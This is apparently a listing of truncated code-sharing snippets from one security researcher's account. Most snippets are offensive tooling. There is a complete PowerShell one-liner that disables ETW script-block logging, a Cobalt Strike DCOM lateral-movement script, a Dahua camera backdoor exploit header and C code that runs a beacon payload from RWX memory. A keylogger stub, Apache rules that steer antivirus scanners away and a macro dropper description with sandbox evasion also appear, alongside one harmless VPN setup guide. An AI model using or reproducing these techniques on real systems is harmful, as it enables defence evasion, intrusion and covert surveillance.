vysecurity

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Management;

namespace ComAbandonment
{
    public class ComAbandonment
    {

vysecurity

#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
# 
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

vysecurity

# Lateral movement techniques based on research by enigma0x3 (Matt Nelson)
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
# Beacon implementation based on comexec.cna by Raphael Mudge
# https://gist.github.com/rsmudge/8b2f699ea212c09201a5cb65650c6fa2

# Register alias
beacon_command_register ("dcom_shellexecute", "Lateral movement with DCOM (ShellExecute)",
                        "Usage: dcom_shellexecute [target] [listener]\n\n" .
                        "Spawn new Beacon on a target via DCOM ShellExecute Object.");

vysecurity

/*
 * CredentialUI.cs - Windows Credential UI Helper
 * 
 * License: Public Domain
 * 
 */
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.Security;

vysecurity

#!/usr/bin/python2.7
#
# Dahua backdoor Generation 2 and 3
# Author: bashis <mcw noemail eu> March 2017
#
# Credentials: No credentials needed (Anonymous)
#Jacked from git history
#

import string

vysecurity

#include "stdafx.h"

// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char *payload, DWORD len) {

	HANDLE threadHandle;
	DWORD threadId = 0;
	char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(alloc, payload, len);

vysecurity

using System;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//KeyStroke Mouse Clicks Code
/* 
 * https://code.google.com/p/klog-sharp/
*/

vysecurity

Set up a VPN Server (PPTP) on AWS

1. Create a EC2 instance using Ubuntu 14.04.
2. In Secure Group Inbound Rules, add a SSH Rule(TCP, Port 22, 0.0.0.0/0) and a Custom TCP Rule(TCP, Port 1723, 0.0.0.0/0).
3. Optional: Associate a Elastic IP with the instance.
4. SSH into the instance.
5. sudo apt-get install pptpd.
6. sudo vim /etc/pptpd.conf. Uncomment localip 192.168.0.1 and remoteip 192.168.0.234-238,192.168.0.245.
7. sudo vim /etc/ppp/pptpd-options. Uncomment ms-dns and ms-wins. Change the IP to Google's DNS like this:

vysecurity

	RewriteEngine On
	#LogLevel alert rewrite:trace5
	
	# BURN AV BURN
	
	# TrendMicro
	RewriteCond				expr					"-R '150.70.0.0/22'"	[OR]
	RewriteCond				expr					"-R '150.70.104.0/22'"	[OR]
	RewriteCond				expr					"-R '150.70.110.0/24'"	[OR]
	RewriteCond				expr					"-R '150.70.112.0/20'"	[OR]

vysecurity

' Author Arno0x0x - https://twitter.com/Arno0x0x
'
' This macro downloads an XML bibliography source file.
' The <Title> element of this XML file actually contains a base64 encoded MSOffice template
' which itself contains another malicious macro much more detectable (meterpreter for instance).
' 
' The base64 encoded file (payload) is extracted from the XML file, decoded and saved on the temporary folder
' Only then, an new Office Word object is instantiated to load this Office Template and run a specific macro from it.
'
' This macro makes use of very basic tricks to evade potential sandbox analysis, such as popup windows, check of local printers